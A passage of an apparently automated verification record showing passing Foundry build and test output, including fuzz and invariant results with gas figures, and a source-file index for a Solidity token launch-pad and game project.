test_burnSecondHopRunsOnLeftoverIMDWhenTheBucketIsEmpty() (gas: 3252040)\n[PASS] test_burnWithDryIMDVenueSpendsNothingAndKeepsTheBucket() (gas: 3062883)\n[PASS] test_chunkStopsExactlyAtTheLimitAndArbitrageBetweenChunksRefillsThem() (gas: 71245281)\n[PASS] test_directGraduateBeforeConversionRevertsWithoutLeavingAnEscrow() (gas: 2820448)\n[PASS] test_dryVenueAfterPartialProgressFallsBackWithPartialIMD() (gas: 70701945)\n[PASS] test_erasedSeatOneBelowCapNeverRingsTheBell() (gas: 2430326)\n[PASS] test_everySeatBailingOutEndsTheGameAtOnceAndFailsGraduation() (gas: 3866898)\n[PASS] test_expiredPendingRollOfErasedSeatPaysTipToPotWithNoEffect() (gas: 2679843)\n[PASS] test_kingSplitIgnoresGameWithErasedSeatBelowFive() (gas: 5006564)\n[PASS] test_kingThatRejectsETHStillReceivesIMDAndCoinsInKind() (gas: 3921169)\n[PASS] test_lastChunkFillsCompletelyBelowTheLimitAndClosesTheEscrow() (gas: 2223881)\n[PASS] test_prepareConversionGatesAndIsIdempotent() (gas: 3580672)\n[PASS] test_seatedWalletWithoutCoinsBailsForZeroAndMinOutOneReverts() (gas: 2680590)\n[PASS] test_strangerCannotStartOrCloseAnEscrowAndGraduateRejectsValue() (gas: 2134508)\nSuite result: ok. 17 passed; 0 failed; 0 skipped; finished in 2.62s (604.23ms CPU time)\n\nRan 9 tests for test/Fuzz.t.sol:FuzzTest\n[PASS] testFuzz_challengeBelow110PercentOrWithinHoldReverts(uint256,uint256,uint256) (runs: 200, μ: 16170822, ~: 16170804)\nLogs:\n  Bound result 19990000000000012254\n  Bound result 31024\n  Bound result 718\n\n[PASS] testFuzz_challengeRefundsOldKingAndSplitsOnlyTheExtra(uint256,uint256) (runs: 200, μ: 16476016, ~: 16476053)\nLogs:\n  Bound result 16809245445064337637\n  Bound result 59999999999999999999\n\n[PASS] testFuzz_finalizePaysTopHalfWithTriangularWeightsAndNothingLeaks(uint8,uint256) (runs: 64, μ: 18975523, ~: 16664066)\nLogs:\n  Bound result 3\n  Bound result 876699592022354930\n\n[PASS] testFuzz_firstBidSplitsToTheWei(uint256) (runs: 200, μ: 16037807, ~: 16037825)\nLogs:\n  Bound result 10000000000000001\n\n[PASS] testFuzz_fundedReleaseNeverExceedsThreeTimesRollIncome(uint8,uint256,uint8) (runs: 64, μ: 12394245, ~: 11904715)\nLogs:\n  Bound result 1\n  Bound result 1\n  Bound result 3454570121562513374\n\n[PASS] testFuzz_quoteFromAnyCurveStateIsConsistent(uint256,uint256) (runs: 1000, μ: 37799, ~: 37819)\nLogs:\n  Bound result 8192\n  Bound result 1111\n\n[PASS] testFuzz_quoteFromFreshCurveNeverUndercharges(uint256) (runs: 1000, μ: 21796, ~: 21373)\nLogs:\n  Bound result 99999999999999999998\n\n[PASS] testFuzz_quoteIsMonotoneInEth(uint256,uint256,uint256) (runs: 500, μ: 38382, ~: 38570)\nLogs:\n  Bound result 404284521931462223\n  Bound result 3055766169896858080\n  Bound result 3888467660267248490\n\n[PASS] testFuzz_rollSplitConservesEveryWei(uint8,bool) (runs: 64, μ: 15464194, ~: 15506371)\nLogs:\n  Bound result 12\n\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 2.62s (15.23s CPU time)\n\nRan 9 tests for test/Revision.t.sol:RevisionTest\n[PASS] test_carryStaysInPadEvenAfterFiveSeats() (gas: 20372513)\n[PASS] test_freeLaunchesDoNotCrowdEnteredGamesOutOfTheKingWindowOrUpkeep() (gas: 26374140)\n[PASS] test_fullRangeSqrtPriceConstantsMatchTickMath() (gas: 16981)\n[PASS] test_liquidityClaimLockIsSeparateFromThePoolGuard() (gas: 16593176)\n[PASS] test_outgoingKingIsPaidEvenWhenTheBidComesFromInsideLiquidityClaim() (gas: 17507045)\n[PASS] test_seatedEventUsesTheSameOneBasedIndexesAsTheViews() (gas: 8545082)\n[PASS] test_soleBuyerSybilLosesMoneyEvenAfterDumpingEveryTokenAndTakingTheCappedRelease() (gas: 17955613)\nLogs:\n  curve ETH raised: 441000000000000000\n  sybil net outlay before the dump: 399450000000000000\n  dump proceeds: 259263336672922359\n\n[PASS] test_takeCarryAndNoteFirstEntryAreGameOnly() (gas: 16232900)\n[PASS] test_takeCrownRevertsInsteadOfSkippingTheOutgoingKingWhileLiquidityIsLocked() (gas: 16180667)\nSuite result: ok. 9 passed; 0 failed; 0 skipped; finished in 2.62s (505.36ms CPU time)\n\nRan 24 tests for test/V4Pad.t.sol:V4PadTest\n[PASS] testFuzz_bailSequencesConserveETHAndSupply(uint8,uint8) (runs: 64, μ: 10781101, ~: 10719895)\nLogs:\n  Bound result 3\n\n[PASS] testFuzz_sandwichOnConversionChunkLoses(uint96) (runs: 64, μ: 70736657, ~: 70729443)\nLogs:\n  Bound result 59999900000000005056\n\n[PASS] test_IMDDonationsDoNotChangeConversionCreditOrGraduationPrice() (gas: 2794318)\n[PASS] test_bailAfterActualSellOutReopensCurveAndCostCountsOnlySpentETH() (gas: 5443888)\n[PASS] test_bailOnlyDuringPlayAndOnlySeatedWallets() (gas: 3384925)\n[PASS] test_bailOutProfitLossMinOutAndConservation() (gas: 3134793)\n[PASS] test_bothCurrencyOrdersGraduateAndPayTheCorrectKingAssets() (gas: 7558572)\n[PASS] test_constructorPoolIdRejectsChangedVenueFields() (gas: 20731)\n[PASS] test_conversionAccessAndConstructorKeyValidation() (gas: 175725)\n[PASS] test_conversionLimitIntervalPartialFillAndEscrow() (gas: 70207746)\n[PASS] test_deadWalletMayBailWhileAnotherLivesAndErasedActivityDoesNotDelayEnd() (gas: 3135423)\n[PASS] test_erasureExcludesRankingBellLivingAndFundedReleaseButPaysPendingTip() (gas: 4774633)\n[PASS] test_exactIMDKeyAndEmptyApplicationDeployment() (gas: 67647)\n[PASS] test_graduationPriceEquivalentAndUnlocksInSameTransaction() (gas: 4529746)\n[PASS] test_kingCollectsIMDAndCoinsInKindAcrossCrown() (gas: 4619842)\n[PASS] test_largeRawTokenRatioDoesNotOverflowPriceEncoding() (gas: 6831)\n[PASS] test_lowGasProbeCannotConsumeConversionInterval() (gas: 69817919)\n[PASS] test_partial24HourFallbackUsesIMDAndCarriesOnlyRemainingETH() (gas: 70630112)\n[PASS] test_rejectedBailPaymentRemainsClaimableAndCannotBePaidTwice() (gas: 1848757)\n[PASS] test_soleBuyerSybilWithProfitableBailAndFiveSurvivorsStillLosesAfterTwoHopDump() (gas: 83739672)\nLogs:\n  Sybil net curve ETH after bailout: 433763283181329605\n  Sybil loss excluding entries and gas: 116818580362673557\n\n[PASS] test_twoGamesKeepIndependentConversionEscrows() (gas: 160304667)\n[PASS] test_twoHopBurnBothPriceLimitsIntervalAndIntermediateAccounting() (gas: 3242518)\nLogs:\n  Two-hop burn gas: 283960\n\n[PASS] test_upkeepConvertsAndGraduatesWithBoundedGas() (gas: 70660322)\nLogs:\n  Conversion upkeep gas: 451623\n\n[PASS] test_zeroLiquidityChunksDoNotExtendTimeout() (gas: 2898612)\nSuite result: ok. 24 passed; 0 failed; 0 skipped; finished in 2.66s (3.60s CPU time)\n\nRan 1 test for test/Invariants.t.sol:InvariantTest\n[PASS]\nInvariantTest invariants:\n[PASS] invariant_callSummary\n[PASS] invariant_curveNeverUnderchargesAndNeverOversells\n[PASS] invariant_fundedPotIsPartOfPotAndClearedByFinalize\n[PASS] invariant_gameBalanceEqualsObligations\n[PASS] invariant_genesisGatesLaunchesAndKing\n[PASS] invariant_impsAndRollsBounded\n[PASS] invariant_kingHoldsOnlyClaimables\n[PASS] invariant_liquidityBalanceEqualsObligations\n[PASS] invariant_padHoldsOnlyCarryPot\n[PASS] invariant_systemEthConserved\n[PASS] invariant_tokenSupplyFixedAndFullyAccounted\n[PASS] invariant_tokenUnlockedOnlyBySuccessfulGraduation\n InvariantTest invariants (runs: 40, calls: 2400, reverts: 86)\n\n╭------------+----------------+-------+---------+----------╮\n| Contract   | Selector       | Calls | Reverts | Discards |\n+==========================================================+\n| PadHandler | burnChunk      | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimGame      | 100   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimKing      | 102   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | claimLiquidity | 90    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | creditFees     | 99    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | distribute     | 104   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | draw           | 87    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | enter          | 112   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | finalize       | 98    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundBurn       | 112   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundCarry      | 94    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | fundPot        | 86    | 86      | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | graduate       | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | launch         | 98    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | padUpkeep      | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | poke           | 105   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | resolve        | 100   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | restartGenesis | 120   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | roll           | 192   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | takeCrown      | 92    | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | tokenTransfer  | 102   | 0       | 0        |\n|------------+----------------+-------+---------+----------|\n| PadHandler | warp           | 207   | 0       | 0        |\n╰------------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 23004\n  Bound result 2995000000000010001\n  Bound result 376138608389625840\n  Bound result 11044\n  Bound result 2751\n  Bound result 410\n  Bound result 41\n  Bound result 59\n  Bound result 5\n  Bound result 1994836\n  Bound result 16\n  Bound result 91\n  Bound result 2995000000000002610\n  Bound result 100\n  Bound result 4\n  Bound result 10\n  Bound result 0\n  Bound result 2995000000000016590\n  Bound result 0\n  Bound result 70\n  Bound result 2\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 2.88s (2.86s CPU time)\n\nRan 36 tests for test/Adversarial.t.sol:AdversarialTest\n[PASS] test_bellOnlyRingsOnceAndNotForNegativeClampOverflow() (gas: 10288838)\n[PASS] test_bellRingerOutsideTopHalfStillGetsBellShare() (gas: 11094037)\n[PASS] test_claimNothingReverts() (gas: 8017866)\n[PASS] test_constructorsRejectZeroAddresses() (gas: 9655)\n[PASS] test_crownEventAndSameKingMayRebid() (gas: 16413812)\n[PASS] test_curveNeverUnderchargesAlongRealRolls() (gas: 19675305)\n[PASS] test_distributeRoundRobinAcrossPools() (gas: 26240590)\n[PASS] test_expiredRollAtZeroHeightStaysZeroAndNeverRingsBell() (gas: 9463954)\n[PASS] test_failedGenesisKeepsKingAndBurnClosedAndLaunchOnlyRelaunchesPvp() (gas: 10424529)\n[PASS] test_failedGenesisRelaunchLeavesCarryInPad() (gas: 11983432)\n[PASS] test_finalizeWithTwoHundredLivingImpsWorstCaseOrderFitsInBlock() (gas: 132983986)\nLogs:\n  finalize gas, 200 living imps, worst-case order: 4057835\n\n[PASS] test_fundGamesOnlyLooksAtLastTenLaunches() (gas: 36445459)\n[PASS] test_fundGamesSkipsGamesWithFewerThanFiveImpsAndEndedOnes() (gas: 23032649)\n[PASS] test_fundGamesSplitsEquallyWhenAllPotsEmpty() (gas: 19900096)\n[PASS] test_fundPotRefusedFromStrangersAndAfterFinalize() (gas: 9326781)\n[PASS] test_hashWindowBoundaryAt257And258Blocks() (gas: 10235446)\n[PASS] test_hookRejectsForeignInitializeWithWrongKeyToo() (gas: 7924697)\n[PASS] test_kingConstructorCannotBindTwice() (gas: 9199)\n[PASS] test_lastRollOnCurveUsesOnlyRemainingEthAndRestToPot() (gas: 9364934)\n[PASS] test_launchViewsRejectIdZero() (gas: 33188)\n[PASS] test_liquidityMayMoveLockedTokensAndApprovalsWorkAfterUnlock() (gas: 9580182)\n[PASS] test_mintEventsAndLaunchEvent() (gas: 16747902)\n[PASS] test_mintOnFreshLaunchBeforeItsOwnFirstMintIsStatusZero() (gas: 16285390)\n[PASS] test_noBellAllToRanksAndDustToCarry() (gas: 15538778)\n[PASS] test_openPadAndGenesisNeedBindings() (gas: 78100)\n[PASS] test_openPadAtExactDeadlineByStranger() (gas: 7836139)\n[PASS] test_openPadEmitsAndIsFinal() (gas: 7878220)\n[PASS] test_openPadRejectsExtraHookFlags() (gas: 28396291)\n[PASS] test_reentrantDistributeFromKingIsRefused() (gas: 16696963)\n[PASS] test_reentrantKingRefundIsRefusedAndMadeClaimable() (gas: 16937995)\n[PASS] test_reentrantWinnerIsRefusedAndMadeClaimable() (gas: 10802254)\n[PASS] test_resolveIsPermissionlessAndIdempotent() (gas: 9650892)\n[PASS] test_restartGenesisNeedsOpenPadAndFailedGenesis() (gas: 15670573)\n[PASS] test_singleLivingImpTakesEverything() (gas: 12050491)\n[PASS] test_soldOutCurveSendsWholeRollToPot() (gas: 9306530)\n[PASS] test_takeCrownBeforeAnyBidRejectsZeroAndDust() (gas: 15720184)\nSuite result: ok. 36 passed; 0 failed; 0 skipped; finished in 3.31s (1.25s CPU time)\n\nRan 15 tests for test/Raffle.t.sol:RaffleTest\n[PASS] testFuzz_everyEntrantPlaysAtOrBelow200(uint16) (runs: 64, μ: 23345102, ~: 17880655)\nLogs:\n  Bound result 193\n\n[PASS] test_5000EntriesChunkedDrawGasAndNonselectedFeesStayBurned() (gas: 116682874)\nLogs:\n  5000-entry draw max chunk gas (cold game): 2668320\n  5000-entry draw total gas: 16251690\n\n[PASS] test_contractWalletCanEnterAndViewsArePaged() (gas: 54960475)\n[PASS] test_drawBeforeEntryBeforeSignupAndZeroChunkRejected() (gas: 416801)\n[PASS] test_entryExactFeeOnePerWalletAndNoRefund() (gas: 627397)\n[PASS] test_entryFeesAlsoFundBurnOnOrdinaryGames() (gas: 8635256)\n[PASS] test_entryGateAndReentrantBurnCallback() (gas: 1191564)\n[PASS] test_failedGenesisGriefCostsOneFeeEveryRoundAndNeverRefunds() (gas: 5161602)\n[PASS] test_firstEntryStartsTenMinutesAndLateEntryRejected() (gas: 661852)\n[PASS] test_hashAtExactly256BlocksOldStillSeeds() (gas: 705113)\n[PASS] test_lapsedCommitFallsBackOnceAndNeverRecommits() (gas: 51586817)\n[PASS] test_manySeedsGiveEarlyAndLateEntrantsEqualOpportunity() (gas: 526724)\n[PASS] test_noRollUntilAllSeatsDrawnAndDelayedPlayStartsFresh() (gas: 52194239)\n[PASS] test_seedUsesOnlyThreeFutureL2HashesAndChunkSizeCannotChangeSeats() (gas: 96933040)\n[PASS] test_upkeepCommitsThenDrawsInBoundedChunksAndKingCountsEntries() (gas: 1930190)\nSuite result: ok. 15 passed; 0 failed; 0 skipped; finished in 3.33s (7.11s CPU time)\n\nRan 1 test for test/V3KingFeesInvariant.t.sol:V3KingFeesInvariantTest\n[PASS]\nV3KingFeesInvariantTest invariants:\n[PASS] invariant_eachReignKeepsItsETHAndTokensIncludingRejectedPayments\n[PASS] invariant_realV4FeesAndBidsConserveETH\n V3KingFeesInvariantTest invariants (runs: 128, calls: 8192, reverts: 0)\n\n╭----------------------+------------+-------+---------+----------╮\n| Contract             | Selector   | Calls | Reverts | Discards |\n+================================================================+\n| KingFeeLedgerHandler | bid        | 1596  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | claim      | 1656  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | distribute | 1594  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | donate     | 1674  | 0       | 0        |\n|----------------------+------------+-------+---------+----------|\n| KingFeeLedgerHandler | starveBid  | 1672  | 0       | 0        |\n╰----------------------+------------+-------+---------+----------╯\n\nLogs:\n  Bound result 0\n  Bound result 1000000000000000\n  Bound result 100000000000000000000\n  Bound result 16\n  Bound result 0\n  Bound result 500000\n  Bound result 5400050\n  Bound result 5275559\n  Bound result 15899\n  Bound result 5400051\n  Bound result 4253857993\n  Bound result 25600\n  Bound result 47021196608137\n  Bound result 17\n  Bound result 63\n  Bound result 100000000000000\n  Bound result 5400025\n  Bound result 94210890951955\n  Bound result 1971339\n  Bound result 5400081\n  Bound result 5419763\n  Bound result 14724\n  Bound result 5222\n  Bound result 5414318\n  Bound result 4948492\n  Bound result 92000000000001\n  Bound result 13032\n  Bound result 100003\n  Bound result 5400301\n  Bound result 5406722\n  Bound result 5745\n  Bound result 12\n  Bound result 7477639625207\n  Bound result 8953181514416954310216\n  Bound result 21573\n  Bound result 21261\n  Bound result 6835\n  Bound result 267284\n  Bound result 50524267\n  Bound result 18000000000000000\n  Bound result 154087980144090\n  Bound result 72779914612143943775893\n  Bound result 17\n  Bound result 448151335054\n  Bound result 1277\n  Bound result 1507695\n  Bound result 600000\n  Bound result 6667\n  Bound result 5409951\n  Bound result 59\n  Bound result 55619632766004\n  Bound result 5400201\n  Bound result 31\n  Bound result 19999999999997\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.15s (4.07s CPU time)\n\nRan 1 test for test/V4BailConversionInvariant.t.sol:V4BailConversionInvariantTest\n[PASS]\nV4BailConversionInvariantTest invariants:\n[PASS] invariant_callSummary\n[PASS] invariant_coinsSoldEqualHoldingsUntilGraduation\n[PASS] invariant_erasedSeatsExcludedAndCapsHold\n[PASS] invariant_gameBalanceEqualsObligations\n[PASS] invariant_handlerSawNoViolation\n[PASS] invariant_liquidityEthAndImdFullyAccounted\n[PASS] invariant_statusAndConversionPhases\n[PASS] invariant_systemEthConserved\n V4BailConversionInvariantTest invariants (runs: 64, calls: 4096, reverts: 0)\n\n╭-----------+----------------+-------+---------+----------╮\n| Contract  | Selector       | Calls | Reverts | Discards |\n+=========================================================+\n| V4Handler | bailOut        | 325   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | burnChunk      | 171   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | claimGame      | 164   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | claimLiquidity | 178   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | convertAll     | 186   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | convertChunk   | 176   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | creditFees     | 163   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | distribute     | 176   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | enter          | 303   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | finalizeNow    | 158   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | fundBurn       | 154   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | fundCarry      | 147   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | graduate       | 137   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | launch         | 158   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | padUpkeep      | 161   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | poke           | 143   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | resolve        | 146   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | roll           | 464   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | takeCrown      | 152   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | trade          | 143   | 0       | 0        |\n|-----------+----------------+-------+---------+----------|\n| V4Handler | warp           | 291   | 0       | 0        |\n╰-----------+----------------+-------+---------+----------╯\n\nLogs:\n  Bound result 7999000000000004899\n  Bound result 152412813290941569\n  Bound result 0\n  Bound result 818448879252990144\n  Bound result 1990000000000010748\n  Bound result 639\n  Bound result 121\n  Bound result 9502720\n  Bound result 1990000010280160826\n  Bound result 7999000000000010495\n  Bound result 4011999999999999988\n  Bound result 2\n  Bound result 5000000000000000\n  Bound result 4\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 4.27s (4.24s CPU time)\n\nRan 1 test for test/V3ResolverInvariant.t.sol:V3ResolverInvariantTest\n[PASS]\nV3ResolverInvariantTest invariants:\n[PASS] invariant_eachTipIsPendingExpiredOrOwedToItsActualResolver\n[PASS] invariant_paidETHAndTokensRemainFullyAccounted\n V3ResolverInvariantTest invariants (runs: 128, calls: 12288, reverts: 0)\n\n╭-----------------------+----------+-------+---------+----------╮\n| Contract              | Selector | Calls | Reverts | Discards |\n+===============================================================+\n| ResolverLedgerHandler | advance  | 3057  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | claim    | 3129  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | resolve  | 3087  | 0       | 0        |\n|-----------------------+----------+-------+---------+----------|\n| ResolverLedgerHandler | roll     | 3015  | 0       | 0        |\n╰-----------------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 1\n  Bound result 16\n  Bound result 59\n  Bound result 21\n  Bound result 85\n  Bound result 26\n  Bound result 18\n  Bound result 60\n  Bound result 29\n  Bound result 21\n  Bound result 16\n  Bound result 3\n  Bound result 24\n  Bound result 49\n  Bound result 63\n  Bound result 20\n  Bound result 15\n  Bound result 6\n  Bound result 32\n  Bound result 28\n  Bound result 0\n  Bound result 74\n  Bound result 11\n  Bound result 89\n  Bound result 8\n  Bound result 71\n  Bound result 15\n  Bound result 50\n  Bound result 76\n  Bound result 3\n  Bound result 12\n  Bound result 19\n  Bound result 57\n  Bound result 1\n  Bound result 21\n  Bound result 37\n  Bound result 17\n  Bound result 22\n  Bound result 59\n  Bound result 47\n  Bound result 18\n  Bound result 25\n  Bound result 65\n  Bound result 19\n  Bound result 76\n  Bound result 22\n  Bound result 2\n  Bound result 74\n  Bound result 80\n  Bound result 43\n  Bound result 35\n  Bound result 30\n  Bound result 28\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 6.71s (6.66s CPU time)\n\nRan 24 test suites in 6.71s (49.48s CPU time): 237 tests passed, 0 failed, 0 skipped (237 total tests)\n","passed":true},{"durationMs":97,"exitCode":0,"name":"source-index","output":"{\"v\":1,\"entryPoints\":[\"KingOfThePad.claim()\",\"KingOfThePad.distribute(uint256)\",\"KingOfThePad.takeCrown()\",\"PadGame.bailOut(uint256)\",\"PadGame.claim()\",\"PadGame.draw(uint256)\",\"PadGame.enter()\",\"PadGame.finalize()\",\"PadGame.fundPot()\",\"PadGame.graduate()\",\"PadGame.initialize(uint256,address,address,bool)\",\"PadGame.poke()\",\"PadGame.prepareConversion()\",\"PadGame.resolvePending(uint256)\",\"PadGame.roll()\",\"PadGame.upkeepStep(address)\",\"PadLiquidity.bindKing()\",\"PadLiquidity.burnChunk()\",\"PadLiquidity.claim()\",\"PadLiquidity.collectPool(uint256,address)\",\"PadLiquidity.convertChunk(address)\",\"PadLiquidity.deployHook(bytes32)\",\"PadLiquidity.distribute(uint256)\",\"PadLiquidity.executeConversion(uint256)\",\"PadLiquidity.fundBurn()\",\"PadLiquidity.graduate(uint256,address,uint256,uint256,uint256)\",\"PadLiquidity.receive()\",\"PadLiquidity.retryPool(uint256)\",\"PadLiquidity.settleCrown()\",\"PadLiquidity.startConversion(uint256,uint64)\",\"PadLiquidity.unlockCallback(bytes)\",\"PadToken.approve(address,uint256)\",\"PadToken.initialize(string,string,address,address)\",\"PadToken.reclaim(address,uint256)\",\"PadToken.transfer(address,uint256)\",\"PadToken.transferFrom(address,address,uint256)\",\"PadToken.unlock()\",\"PvPPad.bindLiquidity()\",\"PvPPad.fundCarry()\",\"PvPPad.fundGames()\",\"PvPPad.launch(string,string,string)\",\"PvPPad.noteFirstEntry(uint256)\",\"PvPPad.openPad(bytes32)\",\"PvPPad.restartGenesis()\",\"PvPPad.startGenesis()\",\"PvPPad.takeCarry(uint256,uint256)\",\"PvPPad.upkeep()\",\"PvPPad.upkeepFor(address)\"],\"files\":{\".gitignore\":4,\"README.md\":257,\"docs/AUDIT-V2-HISTORY.md\":256,\"docs/AUDIT-V3-HISTORY.md\":311,\"docs/AUDIT.md\":405,\"docs/TEST-REPORT.md\":124,\"docs/VERIFY.md\":74,\"foundry.toml\":22,\"launch.json\":39,\"remappings.txt\":2,\"src/KingOfThePad.sol\":131,\"src/PadGame.sol\":789,\"src/PadHook.sol\":26,\"src/PadLiquidity.sol\":622,\"src/PadToken.sol\":94,\"src/PvPPad.sol\":310,\"src/interfaces/Interfaces.sol\":119,\"src/interfaces/PadErrors.sol\":87,\"src/libs/PadLib.sol\":120,\"test/Adversarial.t.sol\":800,\"test/AtomicDeployment.t.sol\":126,\"test/AuditV3.t.sol\":397,\"test/AuditV3CarryUpkeep.t.sol\":191,\"test/Base.t.sol\":225,\"test/CrownSettlement.t.sol\":252,\"test/Fuzz.t.sol\":293,\"test/Game.t.sol\":762,\"test/Invariants.t.sol\":580,\"test/King.t.sol\":314,\"test/LiquidityV4.t.sol\":248,\"test/Pad.t.sol\":299,\"test/Raffle.t.sol\":408,\"test/RaffleEdges.t.sol\":273,\"test/RealV4.sol\":85,\"test/Revision.t.sol\":263,\"test/V3-CONTRIBUTOR-REPORT.md\":126,\"test/V3AccountingActors.sol\":18,\"test/V3CarryProperties.t.sol\":130,\"test/V3FailureEdges.t.sol\":354,\"test/V3KingFeesInvariant.t.sol\":250,\"test/V3ResolverInvariant.t.sol\":208,\"test/V4BailConversionInvariant.t.sol\":675,\"test/V4Edges.t.sol\":531,\"test/V4Pad.t.sol\":851,\"test/mocks/Mocks.sol\":32,\"tools/validate_manifest.py\":86},\"excluded\":[\"lib/\",\"node_modules/\"],\"truncated\":false}","passed":true}],"detail":"all checks passed","evaluation":"checks","profile":"foundry","status":"accepted","submissionHash":"8dd0a29b8b03b8614411c46ab3957b17bdfa3f8585011cd4f6699590e4b62a90","verifiedTreeHash":"16f3a8242ba179cc46f58d6d14aa76d54ea0be37","verifierVersion":"0.1.0+8fbf00a5"},{"checks":[{"durationMs":178593,"exitCode":0,"name":"build","output":"Compiling 98 files with Solc 0.8.26\nSolc 0.8.26 finished in 178.46s\nCompiler run successful!\n","passed":true},{"durationMs":5986,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 4 tests for test/V3FailureEdges.t.sol:V3PoolFailureEdgesTest\n[PASS] test_onlyCrownMayRequestStrictSettlementAndIndexErrorsDoNotChangeHealth() (gas: 176152)\n[PASS] test_retryInsideRealManagerUnlockCannotDiagnoseHealthyPoolAsBroken() (gas: 796490)\n[PASS] test_successBetweenFailuresRequiresThreeNewDistinctBlocksToBreakPool() (gas: 3627863)\n[PASS] test_tokenTransferFailureRollsBackBothFeeCurrenciesAndCanBeRecovered() (gas: 1389134)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 31.91ms (2.85ms CPU time)\n\nRan 14 tests for test/King.t.sol:KingTest\n[PASS] test_burnChunkBuysPvpToDeadEvery10Minutes() (gas: 1047790)\n[PASS] test_burnChunkStopsAtOnePercentPriceMoveAndKeepsTheRest() (gas: 257885)\n[PASS] test_burnWaitsForPvpGraduation() (gas: 7552812)\n[PASS] test_challengeNeedsHoldAnd110Percent() (gas: 1098206)\n[PASS] test_distributeSendsPoolFeesToKing() (gas: 929077)\n[PASS] test_distributeWithoutKingLeavesFeesInPosition() (gas: 868897)\n[PASS] test_extraFundsLiveGamesByPotSize() (gas: 9376471)\n[PASS] test_firstBidMinimumAndFullSplit() (gas: 586331)\n[PASS] test_launchAfterGenesisPlaysAndGraduatesIntoOwnPool() (gas: 9693012)\n[PASS] test_refundToRejectingKingIsClaimable() (gas: 1036728)\n[PASS] test_sandwichOnBurnChunkDoesNotPay() (gas: 1004048)\n[PASS] test_takeCrownUpkeepPaysFinalizerFeeToBidder() (gas: 3953896)\n[PASS] test_unlockCallbackOnlyPoolManager() (gas: 35152)\n[PASS] test_upkeepForAcceptsKingContract() (gas: 168312)\nSuite result: ok. 14 passed; 0 failed; 0 skipped; finished in 39.86ms (15.45ms CPU time)\n\nRan 2 tests for test/V4Pad.t.sol:V4FallbackTest\n[PASS] test_nativeGenesisThenIMDGraduationLeavesNoStrandedQuoteDust() (gas: 20385697)\n[PASS] test_zeroIMDAfter24HoursGraduatesNativeAndPreservesV3Burn() (gas: 11174203)\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 40.08ms (75.29ms CPU time)\n\nRan 1 test for test/AtomicDeployment.t.sol:AtomicDeploymentTest\n[PASS] test_atomicManifestGasIncludingCalldataAndLaterGenesisFitsTarget() (gas: 42777699)\nLogs:\n  Raw CREATE2 manifest gas including calldata and intrinsic: 12189237\n  Later openPad including hook and genesis gas: 774386\n  Combined manifest and later opening gas: 12963623\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 40.90ms (40.71ms CPU time)\n\nRan 5 tests for test/AuditV3.t.sol:AuditV3GameTest\n[PASS] test_lapsedSeedIsIndependentOfCallerAndCaptureDelayAndBountyPaidOnce() (gas: 3002641)\n[PASS] test_nonGenesisSplitAndExpiredTipGoesToPotWithPenalty() 